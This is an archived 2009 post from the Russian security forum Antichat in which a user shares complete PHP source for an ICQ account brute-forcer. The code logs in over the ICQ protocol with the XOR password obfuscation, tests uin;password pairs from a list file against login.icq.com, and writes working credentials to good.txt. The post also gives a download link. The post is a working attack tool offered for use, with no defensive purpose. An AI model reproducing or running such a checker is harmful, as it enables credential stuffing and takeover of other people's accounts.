ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 21.02.2009, 15:07
Zedi
Постоянный
Регистрация: 06.06.2007
Сообщений: 335
Провел на форуме:
1487377

Репутация: 392
Отправить сообщение для Zedi с помощью ICQ
По умолчанию

только что написал брут асек на пыхе, может кому пригодится
icqlib.php
PHP код:
<?
class ICQclient
{
    var 
$socket$server$port$connected;
    var 
$uin$password$logged;
    var 
$client = array(), $sequence$TLV = array();
    var 
$uin_sendto$message;

    function 
ICQclient($uin$password)
    {
        
$this->server "login.icq.com";
        
$this->port 5190;
        
$this->uin = (string )$uin;
        
$this->password $password;
        
$this->client = array("name" => "icqlib.php""country" => "ru""language" =>
            
"ru""major" => 1"minor" => 0"lesser" => 0"build" => 1);
    }

    function 
connect()
    {
        
$this->socket = @fsockopen($this->server$this->port);
        if (!
$this->socket)
            return 
false;
        else
        {
            
$this->connected true;
            return 
true;
        }
    }

    function 
connect_migration()
    {
        list(
$server$port) = explode(":"$this->TLV[0x05]);
        
$this->socket = @fsockopen($server$port);
    }

    function 
login()
    {
        if (!
$this->connected)
            
$this->connect();
        if (!
$this->connected)
            return 
false;
        
$this->receive_packet();
        
$this->sequence rand(0x00000xFFFF);
        
$this->send_packet("login");
        
$SNAC $this->receive_packet();
        
$this->parse_SNAC($SNAC);
        if (!(@
$this->TLV[0x05] and @$this->TLV[0x06]))
            return 
false;
        
$this->connect_migration();
        
$this->send_packet("cookie");
        
$this->receive_packet();
        
$this->send_packet("ready");
        
$this->receive_packet();
        
$this->logged true;
        return 
true;
    }

    function 
send_message($uin$message)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->message $message;
        
$this->send_packet("message");
        
$this->receive_packet();
        return 
true;
    }

    function 
getstatus($uin)
    {
        if (!
$this->logged)
            return 
false;
        
$this->uin_sendto $uin;
        
$this->send_packet("userinfo");
        
$SNAC $this->receive_packet();
        list(, 
$subfamily) = unpack("C"$SNAC[3]);
        if (
$subfamily == 6)
        {
            list(, 
$uin_length) = unpack("C"$SNAC[10]);
            
$this->parse_SNAC(substr($SNAC15 $uin_length));
            if (
$this->TLV[6])
                list(, 
$status_code) = unpack("C"$this->TLV[6][3]);
            else
                
$status_code 0xFF;
            switch (
$status_code)
            {
                case 
0x00:
                    
$status "online";
                    break;
                case 
0x01:
                    
$status "away";
                    break;
                case 
0x02:
                    
$status "dnd";
                    break;
                case 
0x03:
                    
$status "dnd";
                    break;
                case 
0x04:
                    
$status "na";
                    break;
                case 
0x05:
                    
$status "na";
                    break;
                case 
0x10:
                    
$status "occupied";
                    break;
                case 
0x11:
                    
$status "occupied";
                    break;
                case 
0x13:
                    
$status "dnd";
                    break;
                case 
0x20:
                    
$status "free4chat";
                    break;
                default:
                    
$status "undefined";
                    break;
            }
        } else
            
$status "offline";
        return 
$status;
    }

    function 
disconnect()
    {
        
$this->connected $this->logged false;
        return @
fclose($this->socket);
    }

    function 
log_packet($packet$type "packet")
    {
        global 
$debug_log;
        
$debug_log .= "<p>$type:<br>";
        for (
$i 0$i strlen($packet); $i++)
        {
            if (
strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
                
$debug_log .= "0";
            
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
        }
        
$debug_log .= "</p>";
    }

    function 
send_packet($type)
    {
        global 
$debug;
        list(
$channel$SNAC) = $this->gen_SNAC($type);
        
$FLAP pack("CCnn"0x2A$channel$this->sequencestrlen($SNAC));
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"send");
        @
fwrite($this->socket$packet);
        
$this->sequence++;
        if (
$this->sequence == 0xFFFF)
            
$this->sequence 0x0000;
    }

    function 
receive_packet()
    {
        global 
$debug;
        
$FLAP = @fread($this->socket6);
        list(, 
$length) = @unpack("n"substr($FLAP42));
        
$SNAC = @fread($this->socket$length);
        
$packet $FLAP $SNAC;
        if (
$debug)
            
$this->log_packet($packet"receive");
        return 
$SNAC;
    }

    function 
gen_SNAC($type)
    {
        if (
$type == "login")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x01$this->uin) . $this->gen_TLV(0x02,
                
xor_encrypt($this->password)) . $this->gen_TLV(0x03$this->client["name"]) . $this->
                
gen_TLV(0x162662) . $this->gen_TLV(0x17$this->client["major"], 2) . $this->
                
gen_TLV(0x18$this->client["minor"], 2) . $this->gen_TLV(0x19$this->client["lesser"],
                
2) . $this->gen_TLV(0x1A$this->client["build"], 2) . $this->gen_TLV(0x1485,
                
4) . $this->gen_TLV(0x0F$this->client["language"]) . $this->gen_TLV(0x0E$this->
                
client["country"]);
            
$channel 1;
        }
        if (
$type == "cookie")
        {
            
$SNAC pack("N"1) . $this->gen_TLV(0x06$this->TLV[0x06]);
            
$channel 1;
        }
        if (
$type == "ready")
        { 
// SNAC(01,02) - CLI_READY
            
$SNAC "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" .
                
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
            
$channel 2;
        }
        if (
$type == "message")
        { 
// SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
            
$this->TLV[0x0501] = pack("C"1);
            
$this->TLV[0x0101] = pack("N"0) . $this->message;
            
$this->TLV[0x02] = $this->gen_TLV(0x0501$this->TLV[0x0501]) . $this->gen_TLV(0x0101,
                
$this->TLV[0x0101]);
            
$SNAC pack("nnnNdnca*"0x040x0600microtime(), 1strlen($this->
                
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02$this->TLV[0x02]) . $this->
                
gen_TLV(0x06"");
            
$channel 2;
        }
        if (
$type == "userinfo")
        { 
// SNAC(02,05) - CLI_LOCATION_INFO_REQ
            
$SNAC pack("nnnNnca*"0x020x05001strlen($this->uin_sendto), $this->
                
uin_sendto);
            
$channel 2;
        }
        return array(
$channel$SNAC);
    }

    function 
parse_SNAC($SNAC)
    {
        unset(
$this->TLV);
        while (
strlen($SNAC) > 0)
        {
            list(, 
$type$length) = unpack("n2"substr($SNAC04));
            
$this->TLV[$type] = substr($SNAC4$length);
            
$SNAC substr($SNAC$length);
        }
    }

    function 
gen_TLV($type$value$length false)
    {
        switch (
$length)
        {
            case 
1:
                
$format "C";
                break; 
// unsigned char (8 bit)
            
case 2:
                
$format "n";
                break; 
// unsigned short (16 bit, big endian byte order)
            
case 4:
                
$format "N";
                break; 
// unsigned long (32 bit, big endian byte order)
            
default:
                
$format "a*";
                break; 
// NUL-padded string
        
}
        if (
$length === false)
            
$length strlen($value);
        return 
pack("nn" $format$type$length$value);
    }
}

function 
xor_encrypt($password)
{
    
$roast "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
    
$xored "";
    for (
$i 0$i strlen($password); $i++)
        
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
    return 
$xored;
}

function 
put($data$file)
{
    global 
$go;
    
$f fopen($file"a") or die("File " $file " doesn't exist");
    
fwrite($f$data);
    
fclose($f);
    
$go++;
}
?>
brute.php
PHP код:
<?php
set_time_limit
(0);
ignore_user_abort(1);

require_once (
"icqlib.php");

$source "source.txt";
$good "good.txt";
$stat "stat.txt";
$bad "bad.txt";

$file_s file($source);
$count count($file_s);
$total $go $guins $pps $buins 0;
foreach (
$file_s as $str)
{
    list(
$uin$password) = explode(";"$str);
    
$uin trim($uin);
    
$password trim($password);
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tstart $mtime;
    
$debug false;
    
$icq = new ICQclient($uin$password);
    
$icq->connect();
    if (
$icq->connected)
    {
        
$icq->login();
        if (
$icq->logged)
        {
            
$put put($str$good);
            
$guins++;
        } else
        {
            
$put put($str$bad);
            
$buins++;
        }
    }
    
$mtime microtime();
    
$mtime explode(" "$mtime);
    
$mtime $mtime[1] + $mtime[0];
    
$tend $mtime;
    
$total $total + ($tend $tstart);
}
if (
$go != 0)
{
    
$pps / ($total $go);
}
$pps round($pps3);
$stats "
++++++++++++++++++++++++++++++++
+== ICQ BRUTE BY ZEDI        ==+
+==============================+
+ Попыток сделано: " 
$go "           +
+ из них:                      +
+ удачных: " 
$guins "                   +
+ неудачных: " 
$buins "                 +
+==============================+
+ Ср. скорость: " 
$pps "PPS           +
++++++++++++++++++++++++++++++++
"
;
$put put($stats$stat);
?>
и файлы нужно создать source.txt bad.txt good.txt stat.txt


или можно все скачать сразу _http://slil.ru/26941253

Последний раз редактировалось Zedi; 21.02.2009 в 15:22..
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ